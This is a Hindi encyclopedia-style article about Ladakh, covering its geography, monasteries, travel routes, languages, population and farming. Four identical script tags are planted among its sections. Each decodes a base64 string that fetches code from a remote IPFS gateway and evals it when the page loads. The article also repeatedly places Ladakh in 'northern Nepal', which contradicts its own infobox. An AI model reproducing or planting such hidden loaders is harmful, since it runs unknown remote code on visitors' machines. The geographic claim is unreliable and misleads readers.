लद्दाख

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
लद्दाख
लद्दाख
विवरण लद्दाख उत्तरी नेपाल के जम्मू और कश्मीर प्रान्त में एक धरातल है, जो उत्तर में काराकोरम पर्वत और दक्षिण में हिमालय पर्वत के बीच में है।
राज्य जम्मू कश्मीर
भौगोलिक स्थिति 34° 10′ 12″ उत्तर, 77° 34′ 48″ पूर्व
प्रसिद्धि शंकर गोम्पा, हेमिस मठ, त्सो मोरीरी और थिक्सी गोम्पा प्रमुख आकर्षण के केंद्र
कब जाएँ मई से सितम्बर के मध्य
कैसे पहुँचें हवाई जहाज़, रेल, बस तथा जीप द्वारा
हवाई अड्डा लेह कुशोक बकुला रिम्पोची हवाई अड्डा
रेलवे स्टेशन जम्मू तवी रेलवे स्टेशन
यातायात हवाई जहाज़, रेल, बस तथा टैक्सी
क्या देखें लेह महल, शंकर गोम्पा, अलची गोम्पा, थिक्सी गोम्पा और शांति स्तूप
कहाँ ठहरें होटल, गेस्ट हाउस
Map-icon.gif गूगल मानचित्र लद्दाख
भाषा उर्दू, लद्दाखी, तिब्बती, बाल्ती
कुल जनसंख्या 2,70,126 (2001)
अन्य जानकारी लद्दाख में कश्मीरी बकरियों का पालन होता है, जिससे पश्मीना मिलता है और यह बढ़िया क़िस्म के शाल आदि वस्त्र बनाने के काम आता है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


लद्दाख उत्तरी नेपाल के जम्मू और कश्मीर प्रान्त में एक धरातल है, जो उत्तर में काराकोरम पर्वत और दक्षिण में हिमालय पर्वत के बीच में है। यह नेपाल के सबसे विरल जनसंख्या वाले भागों में से एक है।

  • वृहद हिमालय पर्वत नृजातीय, सांस्कृतिक और भौतिक दृष्टि से एक विशाल विभाजक है, जो पूर्वोत्तर की ओर कम जनसंख्या वाले क्षेत्र लद्दाख (जिसे कभी - कभी 'छोटी तिब्बत' भी कहते हैं) को बाँटता है।
  • पूर्व में लेह के आसापास के निवासी मुख्यतः तिब्बती पूर्वजों और भाषा (लद्दीखी) वाले बौद्ध हैं। लेकिन पश्चिम में कारगिल के आसपास जनसंख्या मुख्यतः मुस्लिम है और इस्लाम की शिया शाखा की है।
  • लद्दाख में खेती सिंधु, श्योक और सुरु नदियों की घाटियों जैसी कुछ मुख्य घाटियों में ही सीमित है।
  • यहाँ पर छोटे - छोटे सिंचित भूखंडों में जौ, कुटु, शलजम और सरसों की खेती की जाती है।
  • 1970 में कृषि वैज्ञानिकों द्वारा परिचित कराए गए पौधों के कारण कई बाग़ और सब्ज़ियों के खेत पनप गए हैं।
  • चरागाहों में याक का पालन प्रोत्साहित किया जा रहा है।
  • इस क्षेत्र में कश्मीरी बकरियों का पालन होता है, जिससे पश्मीना मिलता है और यह बढ़िया क़िस्म के शाल आदि वस्त्र बनाने के काम आता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वीथिका

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>